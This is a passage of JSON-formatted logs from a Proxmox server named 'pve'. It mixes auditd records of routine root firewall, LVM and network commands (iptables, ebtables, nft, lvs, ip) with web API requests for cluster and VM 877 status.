items=2 ppid=1156 pid=62041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505930,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.930:65900): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964424305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.305:60952): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965956787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965195877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.877:64575): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149f70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.921:65899): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964424097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.097:60949): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be5e0 a1=64f8d740d730 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965956787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965195869,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.869:64574): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecf80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505912,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.912:65898): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964424056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.056:60948): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d6e6e990 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955781,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965195861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.861:64573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.906:65897): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964419292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964419.292:60947): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 888"} {"@timestamp":1781965195856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.856:64572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505898,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.898:65896): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964419283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964419.283:60944): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965195843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.843:64571): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505888,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.888:65895): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415851,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.851:60941): arch=c000003e syscall=59 success=yes exit=0 a0=5e72e1372ed0 a1=5e72e136fc50 a2=5e72e1351680 a3=5 items=2 ppid=58504 pid=58510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965953771,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965195836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.836:64570): arch=c000003e syscall=59 success=yes exit=0 a0=58dc3320bed0 a1=58dc33208c50 a2=58dc331ea680 a3=5 items=2 ppid=62029 pid=62035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505877,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.877:65894): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.848:60940): arch=c000003e syscall=59 success=yes exit=0 a0=5e72b060dac8 a1=7ffd1c14af50 a2=5e72e1351680 a3=5e72b05f124e items=2 ppid=58504 pid=58506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965953771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965195817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.817:64569): arch=c000003e syscall=59 success=yes exit=0 a0=58dbf4508ac8 a1=7fff67bd5ca0 a2=58dc331ea680 a3=58dbf44ec24e items=2 ppid=62029 pid=62031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505873,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.873:65893): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964415847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.847:60939): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd1c14af10 a1=5e72e1358310 a2=5e72e1351680 a3=5 items=2 ppid=58504 pid=58505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965952752,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.815:64568): arch=c000003e syscall=59 success=yes exit=0 a0=7fff67bd5c60 a1=58dc331f1310 a2=58dc331ea680 a3=5 items=2 ppid=62029 pid=62030 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505870,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.870:65892): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964415843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.843:60937): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965952752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965195803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.803:64566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505868,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.868:65891): argc=1 a0=\"date\""} {"@timestamp":1781964415836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.836:60936): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965952752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965195788,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.788:64565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505864,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.864:65889): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964415829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.829:60935): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965951752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965195779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.779:64564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505856,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.856:65888): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.823:60934): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965950749,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965195774,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.774:64563): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b053f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505848,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.848:65887): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415816,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.816:60933): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965950749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965195763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.763:64562): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1466d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505842,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.842:65886): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964415813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.813:60932): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=628e0ac54740 items=0 ppid=1156 pid=58499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965949758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965195752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965195.752:64561): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0ca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505831,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.831:65885): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964415810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.810:60931): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965194556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965194.556:64560): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417e90 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505821,"@rawstring":"node=pve type=EXECVE msg=audit(1781965505.821:65884): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964415805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.805:60930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1404f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965948727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965194528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965194.528:64559): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1660 a1=64f8d740a020 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504145,"@rawstring":"node=pve type=EXECVE msg=audit(1781965504.145:65883): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964415799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.799:60929): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecb20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965948727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965192.125:64558): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504123,"@rawstring":"node=pve type=EXECVE msg=audit(1781965504.123:65882): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964415794,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.794:60928): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bac0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965947740,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965192.116:64555): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503254,"@rawstring":"node=pve type=EXECVE msg=audit(1781965503.254:65881): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964415789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.789:60927): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecb20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965947740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965187.105:64552): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965503.246:65878): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964415784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.784:60926): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58494 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965946721,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965187.098:64549): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498234,"@rawstring":"node=pve type=EXECVE msg=audit(1781965498.234:65875): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964415777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.777:60925): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965946721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965185738,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.738:64546): arch=c000003e syscall=59 success=yes exit=0 a0=5a063a4a0060 a1=5a063a49cde0 a2=5a063a47e680 a3=5 items=2 ppid=62009 pid=62015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=EXECVE msg=audit(1781965498.221:65872): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964415770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.770:60924): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945516,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 884"} {"@timestamp":1781965185731,"@rawstring":"node=pve type=SYSCALL 